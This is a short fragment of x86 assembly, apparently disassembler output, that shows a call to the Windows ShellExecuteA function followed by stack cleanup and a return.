call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop esi
add esp, 0x24
ret